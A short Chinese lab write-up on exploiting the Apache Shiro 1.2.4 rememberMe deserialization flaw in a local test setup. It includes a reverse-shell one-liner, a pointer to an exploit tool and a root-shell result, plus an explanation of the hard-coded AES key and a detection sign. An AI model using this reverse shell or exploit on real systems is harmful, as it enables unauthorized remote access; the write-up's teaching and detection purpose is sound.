1.环境搭建
实验靶机:CentOS7(192.168.2.102)
攻击机:Kali-Linux(192.168.2.101)
在CentOS7开启docker容器:
浏览器登录192.168.2.102:8080
2.漏洞利用
影响版本:Apache Shiro <= 1.2.4
下载shiro反序列化工具:
Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com)
填入靶机地址:
对kali的9999端口进行监听:
点击执行:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIYV23xh-1640671674023)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211225131031.png)]
可以看到shell反弹成功,获取root权限
利用的的反弹shell:
bash -i >& /dev/tcp/IP/PORT 0>&1
放到网站上进行加密java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
3.漏洞分析
漏洞原因:
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段